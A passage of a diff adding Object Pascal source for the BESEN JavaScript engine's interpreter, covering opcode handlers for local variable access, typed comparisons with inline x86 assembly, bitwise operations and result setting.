BESENCopyValue(TBESENDeclarativeEnvironmentRecord(Context.VariableEnvironment.EnvironmentRecord).HashValues[RegisterValues[Operands^[0]].LocalIndex]^,RegisterValues[Operands^[1]]); +end; + +procedure TBESENCodeContext.OpGETVALUELOCALBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var vp:PBESENValue; +begin + vp:=@RegisterValues[Operands^[0]]; + vp^.ValueType:=bvtBOOLEAN; + vp^.Bool:=TBESENDeclarativeEnvironmentRecord(Context.VariableEnvironment.EnvironmentRecord).HashValues[RegisterValues[Operands^[1]].LocalIndex]^.Bool; +end; + +procedure TBESENCodeContext.OpPUTVALUELOCALBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var hp:PBESENValue; +begin + hp:=TBESENDeclarativeEnvironmentRecord(Context.VariableEnvironment.EnvironmentRecord).HashValues[RegisterValues[Operands^[0]].LocalIndex]; + hp^.ValueType:=bvtBOOLEAN; + hp^.Bool:=RegisterValues[Operands^[1]].Bool; +end; + +procedure TBESENCodeContext.OpGETVALUELOCALNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var vp:PBESENValue; +begin + vp:=@RegisterValues[Operands^[0]]; + vp^.ValueType:=bvtNUMBER; + vp^.Num:=TBESENDeclarativeEnvironmentRecord(Context.VariableEnvironment.EnvironmentRecord).HashValues[RegisterValues[Operands^[1]].LocalIndex].Num; +end; + +procedure TBESENCodeContext.OpPUTVALUELOCALNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var hp:PBESENValue; +begin + hp:=TBESENDeclarativeEnvironmentRecord(Context.VariableEnvironment.EnvironmentRecord).HashValues[RegisterValues[Operands^[0]].LocalIndex]; + hp^.ValueType:=bvtNUMBER; + hp^.Num:=RegisterValues[Operands^[1]].Num; +end; + +procedure TBESENCodeContext.OpGETVALUELOCALSTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var vp:PBESENValue; +begin + vp:=@RegisterValues[Operands^[0]]; + vp^.ValueType:=bvtSTRING; + vp^.Str:=TBESENDeclarativeEnvironmentRecord(Context.VariableEnvironment.EnvironmentRecord).HashValues[RegisterValues[Operands^[1]].LocalIndex].Str; +end; + +procedure TBESENCodeContext.OpPUTVALUELOCALSTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var hp:PBESENValue; +begin + hp:=TBESENDeclarativeEnvironmentRecord(Context.VariableEnvironment.EnvironmentRecord).HashValues[RegisterValues[Operands^[0]].LocalIndex]; + hp^.ValueType:=bvtSTRING; + hp^.Str:=RegisterValues[Operands^[1]].Str; +end; + +procedure TBESENCodeContext.OpGETVALUELOCALOBJ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var vp:PBESENValue; +begin + vp:=@RegisterValues[Operands^[0]]; + vp^.ValueType:=bvtOBJECT; + vp^.Obj:=TBESENDeclarativeEnvironmentRecord(Context.VariableEnvironment.EnvironmentRecord).HashValues[RegisterValues[Operands^[1]].LocalIndex].Obj; +end; + +procedure TBESENCodeContext.OpPUTVALUELOCALOBJ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var hp:PBESENValue; +begin + hp:=TBESENDeclarativeEnvironmentRecord(Context.VariableEnvironment.EnvironmentRecord).HashValues[RegisterValues[Operands^[0]].LocalIndex]; + hp^.ValueType:=bvtOBJECT; + hp^.Obj:=RegisterValues[Operands^[1]].Obj; + if assigned(hp^.Obj) then begin + TBESENObject(hp^.Obj).GarbageCollectorWriteBarrier; + end; +end; + +procedure TBESENCodeContext.OpGETVALUELOCALINDEX(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + BESENCopyValue(RegisterValues[Operands^[0]],TBESENDeclarativeEnvironmentRecord(Context.VariableEnvironment.EnvironmentRecord).HashValues[Operands^[1]]^); +end; + +procedure TBESENCodeContext.OpPUTVALUELOCALINDEX(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + BESENCopyValue(TBESENDeclarativeEnvironmentRecord(Context.VariableEnvironment.EnvironmentRecord).HashValues[Operands^[0]]^,RegisterValues[Operands^[1]]); +end; + +procedure TBESENCodeContext.OpGETVALUELOCALINDEXBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var vp:PBESENValue; +begin + vp:=@RegisterValues[Operands^[0]]; + vp^.ValueType:=bvtBOOLEAN; + vp^.Bool:=TBESENDeclarativeEnvironmentRecord(Context.VariableEnvironment.EnvironmentRecord).HashValues[Operands^[1]]^.Bool; +end; + +procedure TBESENCodeContext.OpPUTVALUELOCALINDEXBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var hp:PBESENValue; +begin + hp:=TBESENDeclarativeEnvironmentRecord(Context.VariableEnvironment.EnvironmentRecord).HashValues[Operands^[0]]; + hp^.ValueType:=bvtBOOLEAN; + hp^.Bool:=RegisterValues[Operands^[1]].Bool; +end; + +procedure TBESENCodeContext.OpGETVALUELOCALINDEXNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var vp:PBESENValue; +begin + vp:=@RegisterValues[Operands^[0]]; + vp^.ValueType:=bvtNUMBER; + vp^.Num:=TBESENDeclarativeEnvironmentRecord(Context.VariableEnvironment.EnvironmentRecord).HashValues[Operands^[1]].Num; +end; + +procedure TBESENCodeContext.OpPUTVALUELOCALINDEXNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var hp:PBESENValue; +begin + hp:=TBESENDeclarativeEnvironmentRecord(Context.VariableEnvironment.EnvironmentRecord).HashValues[Operands^[0]]; + hp^.ValueType:=bvtNUMBER; + hp^.Num:=RegisterValues[Operands^[1]].Num; +end; + +procedure TBESENCodeContext.OpGETVALUELOCALINDEXSTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var vp:PBESENValue; +begin + vp:=@RegisterValues[Operands^[0]]; + vp^.ValueType:=bvtSTRING; + vp^.Str:=TBESENDeclarativeEnvironmentRecord(Context.VariableEnvironment.EnvironmentRecord).HashValues[Operands^[1]].Str; +end; + +procedure TBESENCodeContext.OpPUTVALUELOCALINDEXSTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var hp:PBESENValue; +begin + hp:=TBESENDeclarativeEnvironmentRecord(Context.VariableEnvironment.EnvironmentRecord).HashValues[Operands^[0]]; + hp^.ValueType:=bvtSTRING; + hp^.Str:=RegisterValues[Operands^[1]].Str; +end; + +procedure TBESENCodeContext.OpGETVALUELOCALINDEXOBJ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var vp:PBESENValue; +begin + vp:=@RegisterValues[Operands^[0]]; + vp^.ValueType:=bvtOBJECT; + vp^.Obj:=TBESENDeclarativeEnvironmentRecord(Context.VariableEnvironment.EnvironmentRecord).HashValues[Operands^[1]].Obj; +end; + +procedure TBESENCodeContext.OpPUTVALUELOCALINDEXOBJ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var hp:PBESENValue; +begin + hp:=TBESENDeclarativeEnvironmentRecord(Context.VariableEnvironment.EnvironmentRecord).HashValues[Operands^[0]]; + hp^.ValueType:=bvtOBJECT; + hp^.Obj:=RegisterValues[Operands^[1]].Obj; + if assigned(hp^.Obj) then begin + TBESENObject(hp^.Obj).GarbageCollectorWriteBarrier; + end; +end; + +procedure TBESENCodeContext.OpLOOPINITCOUNT(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin +end; + +procedure TBESENCodeContext.OpLOOPADDCOUNT(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin +end; + +procedure TBESENCodeContext.OpTRACE(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + Trace(bttSTATEMENT); + if assigned(TBESEN(Instance).PeriodicHook) then begin + if not TBESEN(Instance).PeriodicHook(TBESEN(Instance)) then begin + Running:=false; + BlockRunning:=false; + end; + end; +end; + +procedure TBESENCodeContext.OpLTBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; + r^.Bool:=RegisterValues[Operands^[1]].Bool<RegisterValues[Operands^[2]].Bool; +end; + +procedure TBESENCodeContext.OpGTBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; + r^.Bool:=RegisterValues[Operands^[1]].Bool>RegisterValues[Operands^[2]].Bool; +end; + +procedure TBESENCodeContext.OpLEBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; + r^.Bool:=RegisterValues[Operands^[1]].Bool<=RegisterValues[Operands^[2]].Bool; +end; + +procedure TBESENCodeContext.OpGEBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; + r^.Bool:=RegisterValues[Operands^[1]].Bool>=RegisterValues[Operands^[2]].Bool; +end; + +procedure TBESENCodeContext.OpEQBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; + r^.Bool:=RegisterValues[Operands^[1]].Bool=RegisterValues[Operands^[2]].Bool; +end; + +procedure TBESENCodeContext.OpNEQBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; + r^.Bool:=RegisterValues[Operands^[1]].Bool<>RegisterValues[Operands^[2]].Bool; +end; + +procedure TBESENCodeContext.OpLTNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r{$ifdef cpu386},a,b{$endif}:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; +{$ifdef cpu386} +{$ifdef UseSafeOperations} + a:=@RegisterValues[Operands^[1]]; + b:=@RegisterValues[Operands^[2]]; + asm + push edi + mov edi,dword ptr a + mov ecx,dword ptr [edi+TBESENValue.Num+4] + mov edx,ecx + and edx,$0000ffff + or edx,dword ptr [edi+TBESENValue.Num] + setnz dl + and edx,$7f + shr ecx,16 + mov al,byte ptr [offset BESENNumberCodeFlagLookupTable+ecx*2+edx] + shl al,4 + mov edi,dword ptr b + mov ecx,dword ptr [edi+TBESENValue.Num+4] + mov edx,ecx + and edx,$0000ffff + or edx,dword ptr [edi+TBESENValue.Num] + setnz dl + and edx,$7f + shr ecx,16 + or al,byte ptr [offset BESENNumberCodeFlagLookupTable+ecx*2+edx] + and eax,$ff + lea ecx,dword ptr [offset BESENNumberCodeAbstractRelationalLookupTable+eax*4] + mov edi,dword ptr a + fld qword ptr [edi+TBESENValue.Num] + mov edi,dword ptr b + fcomp qword ptr [edi+TBESENValue.Num] + fstsw ax + sahf + setb al + neg al + sbb eax,eax + and al,byte ptr [ecx+TBESENNumberCodeAbstractRelationalLookupTableItem.DoCompare] + or al,byte ptr [ecx+TBESENNumberCodeAbstractRelationalLookupTableItem.ResultBooleanValue] + and al,byte ptr [ecx+TBESENNumberCodeAbstractRelationalLookupTableItem.IsNotUndefined] + cmp al,$01 + cmc + sbb eax,eax + mov edi,dword ptr r + mov dword ptr [edi+TBESENValue.Bool],eax + pop edi + end {$ifdef fpc}['eax','ecx','edx','edi']{$endif}; +{$else} + a:=@RegisterValues[Operands^[1]]; + b:=@RegisterValues[Operands^[2]]; + asm + mov edx,dword ptr a + fld qword ptr [edx+TBESENValue.Num] + mov edx,dword ptr b + fcomp qword ptr [edx+TBESENValue.Num] + fstsw ax + sahf + setb al + setnp cl + and al,cl + neg al + sbb eax,eax + mov edx,dword ptr r + mov dword ptr [edx+TBESENValue.Bool],eax + end {$ifdef fpc}['eax','ecx','edx']{$endif}; +{$endif} +{$else} +{$ifdef UseSafeOperations} + AbstractRelationalNumber(@RegisterValues[Operands^[1]],@RegisterValues[Operands^[2]],r^.Bool); +{$else} + r^.Bool:=(not (BESENIsNaN(RegisterValues[Operands^[1]].Num) or BESENIsNaN(RegisterValues[Operands^[2]].Num))) and (RegisterValues[Operands^[1]].Num<RegisterValues[Operands^[2]].Num); +{$endif} +{$endif} +end; + +procedure TBESENCodeContext.OpGTNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r{$ifdef cpu386},a,b{$endif}:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; +{$ifdef cpu386} +{$ifdef UseSafeOperations} + a:=@RegisterValues[Operands^[2]]; + b:=@RegisterValues[Operands^[1]]; + asm + push edi + mov edi,dword ptr a + mov ecx,dword ptr [edi+TBESENValue.Num+4] + mov edx,ecx + and edx,$0000ffff + or edx,dword ptr [edi+TBESENValue.Num] + setnz dl + and edx,$7f + shr ecx,16 + mov al,byte ptr [offset BESENNumberCodeFlagLookupTable+ecx*2+edx] + shl al,4 + mov edi,dword ptr b + mov ecx,dword ptr [edi+TBESENValue.Num+4] + mov edx,ecx + and edx,$0000ffff + or edx,dword ptr [edi+TBESENValue.Num] + setnz dl + and edx,$7f + shr ecx,16 + or al,byte ptr [offset BESENNumberCodeFlagLookupTable+ecx*2+edx] + and eax,$ff + lea ecx,dword ptr [offset BESENNumberCodeAbstractRelationalLookupTable+eax*4] + mov edi,dword ptr a + fld qword ptr [edi+TBESENValue.Num] + mov edi,dword ptr b + fcomp qword ptr [edi+TBESENValue.Num] + fstsw ax + sahf + setb al + neg al + sbb eax,eax + and al,byte ptr [ecx+TBESENNumberCodeAbstractRelationalLookupTableItem.DoCompare] + or al,byte ptr [ecx+TBESENNumberCodeAbstractRelationalLookupTableItem.ResultBooleanValue] + and al,byte ptr [ecx+TBESENNumberCodeAbstractRelationalLookupTableItem.IsNotUndefined] + cmp al,$01 + cmc + sbb eax,eax + mov edi,dword ptr r + mov dword ptr [edi+TBESENValue.Bool],eax + pop edi + end {$ifdef fpc}['eax','ecx','edx','edi']{$endif}; +{$else} + a:=@RegisterValues[Operands^[1]]; + b:=@RegisterValues[Operands^[2]]; + asm + mov edx,dword ptr a + fld qword ptr [edx+TBESENValue.Num] + mov edx,dword ptr b + fcomp qword ptr [edx+TBESENValue.Num] + fstsw ax + sahf + setnbe al + setnp cl + and al,cl + neg al + sbb eax,eax + mov edx,dword ptr r + mov dword ptr [edx+TBESENValue.Bool],eax + end {$ifdef fpc}['eax','ecx','edx']{$endif}; +{$endif} +{$else} +{$ifdef UseSafeOperations} + AbstractRelationalNumber(@RegisterValues[Operands^[2]],@RegisterValues[Operands^[1]],r^.Bool); +{$else} +r^.Bool:=(not (BESENIsNaN(RegisterValues[Operands^[1]].Num) or BESENIsNaN(RegisterValues[Operands^[2]].Num))) and (RegisterValues[Operands^[1]].Num>RegisterValues[Operands^[2]].Num); +{$endif} +{$endif} +end; + +procedure TBESENCodeContext.OpLENUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r{$ifdef cpu386},a,b{$endif}:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; +{$ifdef cpu386} +{$ifdef UseSafeOperations} + a:=@RegisterValues[Operands^[2]]; + b:=@RegisterValues[Operands^[1]]; + asm + push edi + mov edi,dword ptr a + mov ecx,dword ptr [edi+TBESENValue.Num+4] + mov edx,ecx + and edx,$0000ffff + or edx,dword ptr [edi+TBESENValue.Num] + setnz dl + and edx,$7f + shr ecx,16 + mov al,byte ptr [offset BESENNumberCodeFlagLookupTable+ecx*2+edx] + shl al,4 + mov edi,dword ptr b + mov ecx,dword ptr [edi+TBESENValue.Num+4] + mov edx,ecx + and edx,$0000ffff + or edx,dword ptr [edi+TBESENValue.Num] + setnz dl + and edx,$7f + shr ecx,16 + or al,byte ptr [offset BESENNumberCodeFlagLookupTable+ecx*2+edx] + and eax,$ff + lea ecx,dword ptr [offset BESENNumberCodeAbstractRelationalLookupTable+eax*4] + mov edi,dword ptr a + fld qword ptr [edi+TBESENValue.Num] + mov edi,dword ptr b + fcomp qword ptr [edi+TBESENValue.Num] + fstsw ax + sahf + setb al + neg al + sbb eax,eax + and al,byte ptr [ecx+TBESENNumberCodeAbstractRelationalLookupTableItem.DoCompare] + or al,byte ptr [ecx+TBESENNumberCodeAbstractRelationalLookupTableItem.ResultBooleanValue] + not al + and al,byte ptr [ecx+TBESENNumberCodeAbstractRelationalLookupTableItem.IsNotUndefined] + cmp al,$01 + cmc + sbb eax,eax + mov edi,dword ptr r + mov dword ptr [edi+TBESENValue.Bool],eax + pop edi + end {$ifdef fpc}['eax','ecx','edx','edi']{$endif}; +{$else} + a:=@RegisterValues[Operands^[1]]; + b:=@RegisterValues[Operands^[2]]; + asm + mov edx,dword ptr a + fld qword ptr [edx+TBESENValue.Num] + mov edx,dword ptr b + fcomp qword ptr [edx+TBESENValue.Num] + fstsw ax + sahf + setbe al + setnp cl + and al,cl + neg al + sbb eax,eax + mov edx,dword ptr r + mov dword ptr [edx+TBESENValue.Bool],eax + end {$ifdef fpc}['eax','ecx','edx']{$endif}; +{$endif} +{$else} +{$ifdef UseSafeOperations} + if AbstractRelationalNumber(@RegisterValues[Operands^[2]],@RegisterValues[Operands^[1]],r^.Bool) then begin + r^.Bool:=not r^.Bool; + end; +{$else} + r^.Bool:=(not (BESENIsNaN(RegisterValues[Operands^[1]].Num) or BESENIsNaN(RegisterValues[Operands^[2]].Num))) and (RegisterValues[Operands^[1]].Num<=RegisterValues[Operands^[2]].Num); +{$endif} +{$endif} +end; + +procedure TBESENCodeContext.OpGENUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r{$ifdef cpu386},a,b{$endif}:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; +{$ifdef cpu386} +{$ifdef UseSafeOperations} + a:=@RegisterValues[Operands^[1]]; + b:=@RegisterValues[Operands^[2]]; + asm + push edi + mov edi,dword ptr a + mov ecx,dword ptr [edi+TBESENValue.Num+4] + mov edx,ecx + and edx,$0000ffff + or edx,dword ptr [edi+TBESENValue.Num] + setnz dl + and edx,$7f + shr ecx,16 + mov al,byte ptr [offset BESENNumberCodeFlagLookupTable+ecx*2+edx] + shl al,4 + mov edi,dword ptr b + mov ecx,dword ptr [edi+TBESENValue.Num+4] + mov edx,ecx + and edx,$0000ffff + or edx,dword ptr [edi+TBESENValue.Num] + setnz dl + and edx,$7f + shr ecx,16 + or al,byte ptr [offset BESENNumberCodeFlagLookupTable+ecx*2+edx] + and eax,$ff + lea ecx,dword ptr [offset BESENNumberCodeAbstractRelationalLookupTable+eax*4] + mov edi,dword ptr a + fld qword ptr [edi+TBESENValue.Num] + mov edi,dword ptr b + fcomp qword ptr [edi+TBESENValue.Num] + fstsw ax + sahf + setb al + neg al + sbb eax,eax + and al,byte ptr [ecx+TBESENNumberCodeAbstractRelationalLookupTableItem.DoCompare] + or al,byte ptr [ecx+TBESENNumberCodeAbstractRelationalLookupTableItem.ResultBooleanValue] + not al + and al,byte ptr [ecx+TBESENNumberCodeAbstractRelationalLookupTableItem.IsNotUndefined] + cmp al,$01 + cmc + sbb eax,eax + mov edi,dword ptr r + mov dword ptr [edi+TBESENValue.Bool],eax + pop edi + end {$ifdef fpc}['eax','ecx','edx','edi']{$endif}; +{$else} + a:=@RegisterValues[Operands^[1]]; + b:=@RegisterValues[Operands^[2]]; + asm + mov edx,dword ptr a + fld qword ptr [edx+TBESENValue.Num] + mov edx,dword ptr b + fcomp qword ptr [edx+TBESENValue.Num] + fstsw ax + sahf + setnb al + setnp cl + and al,cl + neg al + sbb eax,eax + mov edx,dword ptr r + mov dword ptr [edx+TBESENValue.Bool],eax + end {$ifdef fpc}['eax','ecx','edx']{$endif}; +{$endif} +{$else} +{$ifdef UseSafeOperations} + if AbstractRelationalNumber(@RegisterValues[Operands^[1]],@RegisterValues[Operands^[2]],r^.Bool) then begin + r^.Bool:=not r^.Bool; + end; +{$else} + r^.Bool:=(not (BESENIsNaN(RegisterValues[Operands^[1]].Num) or BESENIsNaN(RegisterValues[Operands^[2]].Num))) and (RegisterValues[Operands^[1]].Num>=RegisterValues[Operands^[2]].Num); +{$endif} +{$endif} +end; + +procedure TBESENCodeContext.OpEQNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r{$ifdef cpu386},a,b{$endif}:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; +{$ifdef UseSafeOperations} + r^.Bool:=BESENEqualityExpressionStrictEquals(RegisterValues[Operands^[1]],RegisterValues[Operands^[2]]); +{$else} +{$ifdef cpu386} + a:=@RegisterValues[Operands^[1]]; + b:=@RegisterValues[Operands^[2]]; + asm + mov edx,dword ptr a + fld qword ptr [edx+TBESENValue.Num] + mov edx,dword ptr b + fcomp qword ptr [edx+TBESENValue.Num] + fstsw ax + sahf + setz al + setnp cl + and al,cl + neg al + sbb eax,eax + mov edx,dword ptr r + mov dword ptr [edx+TBESENValue.Bool],eax + end {$ifdef fpc}['eax','ecx','edx']{$endif}; +{$else} + r^.Bool:=(not (BESENIsNaN(RegisterValues[Operands^[1]].Num) or BESENIsNaN(RegisterValues[Operands^[2]].Num))) and (RegisterValues[Operands^[1]].Num=RegisterValues[Operands^[2]].Num); +{$endif} +{$endif} +end; + +procedure TBESENCodeContext.OpNEQNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r{$ifdef cpu386},a,b{$endif}:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; +{$ifdef UseSafeOperations} + r^.Bool:=not BESENEqualityExpressionStrictEquals(RegisterValues[Operands^[1]],RegisterValues[Operands^[2]]); +{$else} +{$ifdef cpu386} + a:=@RegisterValues[Operands^[1]]; + b:=@RegisterValues[Operands^[2]]; + asm + mov edx,dword ptr a + fld qword ptr [edx+TBESENValue.Num] + mov edx,dword ptr b + fcomp qword ptr [edx+TBESENValue.Num] + fstsw ax + sahf + setz al + setnp cl + and al,cl + neg al + sbb eax,eax + not eax + mov edx,dword ptr r + mov dword ptr [edx+TBESENValue.Bool],eax + end {$ifdef fpc}['eax','ecx','edx']{$endif}; +{$else} + r^.Bool:=not ((not (BESENIsNaN(RegisterValues[Operands^[1]].Num) or BESENIsNaN(RegisterValues[Operands^[2]].Num))) and (RegisterValues[Operands^[1]].Num=RegisterValues[Operands^[2]].Num)); +{$endif} +{$endif} +end; + +procedure TBESENCodeContext.OpLTSTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; + r^.Bool:=RegisterValues[Operands^[1]].Str<RegisterValues[Operands^[2]].Str; +end; + +procedure TBESENCodeContext.OpGTSTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; + r^.Bool:=RegisterValues[Operands^[1]].Str>RegisterValues[Operands^[2]].Str; +end; + +procedure TBESENCodeContext.OpLESTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; + r^.Bool:=RegisterValues[Operands^[1]].Str<=RegisterValues[Operands^[2]].Str; +end; + +procedure TBESENCodeContext.OpGESTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; + r^.Bool:=RegisterValues[Operands^[1]].Str>=RegisterValues[Operands^[2]].Str; +end; + +procedure TBESENCodeContext.OpEQSTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; + r^.Bool:=RegisterValues[Operands^[1]].Str=RegisterValues[Operands^[2]].Str; +end; + +procedure TBESENCodeContext.OpNEQSTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; + r^.Bool:=RegisterValues[Operands^[1]].Str<>RegisterValues[Operands^[2]].Str; +end; + +procedure TBESENCodeContext.OpSHLBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=TBESENINT32(BESENNumberBooleanValues[RegisterValues[Operands^[1]].Bool] shl BESENNumberBooleanValues[RegisterValues[Operands^[2]].Bool]); +end; + +procedure TBESENCodeContext.OpSHRBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=TBESENINT32(BESENNumberBooleanValues[RegisterValues[Operands^[1]].Bool] shr BESENNumberBooleanValues[RegisterValues[Operands^[2]].Bool]); +end; + +procedure TBESENCodeContext.OpBANDBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=BESENNumberBooleanValues[RegisterValues[Operands^[1]].Bool and RegisterValues[Operands^[2]].Bool]; +end; + +procedure TBESENCodeContext.OpBXORBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=BESENNumberBooleanValues[RegisterValues[Operands^[1]].Bool xor RegisterValues[Operands^[2]].Bool]; +end; + +procedure TBESENCodeContext.OpBORBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=BESENNumberBooleanValues[RegisterValues[Operands^[1]].Bool or RegisterValues[Operands^[2]].Bool]; +end; + +procedure TBESENCodeContext.OpSHLNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=TBESENINT32(BESENToInt32Fast(@RegisterValues[Operands^[1]].Num) shl (BESENToUInt32Fast(@RegisterValues[Operands^[2]].Num) and 31)); +end; + +procedure TBESENCodeContext.OpSHRNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=TBESENINT32(sar(BESENToInt32Fast(@RegisterValues[Operands^[1]].Num),(BESENToUInt32Fast(@RegisterValues[Operands^[2]].Num) and 31))); +end; + +procedure TBESENCodeContext.OpUSHRNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=TBESENUINT32(BESENToUInt32Fast(@RegisterValues[Operands^[1]].Num) shr (BESENToUInt32Fast(@RegisterValues[Operands^[2]].Num) and 31)); +end; + +procedure TBESENCodeContext.OpBANDNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=TBESENINT32(BESENToInt32Fast(@RegisterValues[Operands^[1]].Num) and BESENToInt32Fast(@RegisterValues[Operands^[2]].Num)); +end; + +procedure TBESENCodeContext.OpBXORNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=TBESENINT32(BESENToInt32Fast(@RegisterValues[Operands^[1]].Num) xor BESENToInt32Fast(@RegisterValues[Operands^[2]].Num)); +end; + +procedure TBESENCodeContext.OpBORNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtNUMBER; + r^.Num:=TBESENINT32(BESENToInt32Fast(@RegisterValues[Operands^[1]].Num) or BESENToInt32Fast(@RegisterValues[Operands^[2]].Num)); +end; + +procedure TBESENCodeContext.OpSETCUNDEF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + ResultValue.ValueType:=bvtUNDEFINED; +end; + +procedure TBESENCodeContext.OpSETCNULL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + ResultValue.ValueType:=bvtNULL; +end; + +procedure TBESENCodeContext.OpSETCBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + ResultValue.ValueType:=bvtBOOLEAN; + ResultValue.Bool:=RegisterValues[Operands^[0]].Bool; +end; + +procedure TBESENCodeContext.OpSETCNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + ResultValue.ValueType:=bvtNUMBER; + ResultValue.Num:=RegisterValues[Operands^[0]].Num; +end; + +procedure 